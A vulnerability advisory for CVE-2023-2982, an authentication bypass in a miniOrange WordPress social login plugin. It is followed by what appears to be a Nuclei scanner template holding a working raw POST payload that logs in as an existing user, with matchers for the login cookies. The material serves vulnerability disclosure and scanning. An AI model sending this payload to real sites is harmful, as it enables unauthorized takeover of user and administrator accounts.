The WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn) plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 7.6.4. This is due to insufficient encryption on the user being supplied during a login validated through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they know the email address associated with that user. This was partially patched in version 7.6.4 and fully patched in version 7.6.5.
PoC
id: CVE-2023-2982
info:
name: Miniorange Social Login and Register <= 7.6.3 - Authentication Bypass
author: ritikchaddha
severity: critical
description: |
The WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn) plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 7.6.4. This is due to insufficient encryption on the user being supplied during a login validated through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they know the email address associated with that user. This was partially patched in version 7.6.4 and fully patched in version 7.6.5.
impact: |
An attacker can gain unauthorized access to user accounts, potentially leading to data theft, privilege escalation, or other malicious activities.
remediation: Fixed in version 7.6.5
reference:
- https://lana.codes/lanavdb/2326f41f-a39f-4fde-8627-9d29fff91443/
- https://wordpress.org/plugins/miniorange-login-openid/advanced/
- https://nvd.nist.gov/vuln/detail/CVE-2023-2982
- https://plugins.trac.wordpress.org/browser/miniorange-login-openid/trunk/mo-openid-social-login-functions.php#L107
- https://plugins.trac.wordpress.org/changeset/2924863/miniorange-login-openid
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-2982
cwe-id: CWE-288
epss-score: 0.46242
epss-percentile: 0.9875
cpe: cpe:2.3:a:miniorange:wordpress_social_login_and_register_\(discord\,_google\,_twitter\,_linkedin\):*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: miniorange
product: wordpress_social_login_and_register_\(discord\,_google\,_twitter\,_linkedin\)
framework: wordpress
tags: cve,cve2023,wp,wordpress,wp-plugin,auth-bypass,miniorange,vkev,vuln
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
option=moopenid&email=uzmpvjPBmwEO3tFXq0vlJg%3D%3D&appName=rlHeqZw2vrPzOiWWfCParA%3D%3D
matchers-condition: and
matchers:
- type: word
part: set_cookie
words:
- "wordpress_sec_"
- "wordpress_logged_in_"
condition: or
- type: status
status:
- 302
# digest: 4a0a0047304502202f09cd7a99d3234004a95f085f16d6d19a3c393daa25d52e2c1a599feb5a081c022100e2fdcf2c5619ca3ef497ccd252851afcc63f9deed59fd563b166ba02fef198a7:922c64590222798bb761d5b6d8e72950
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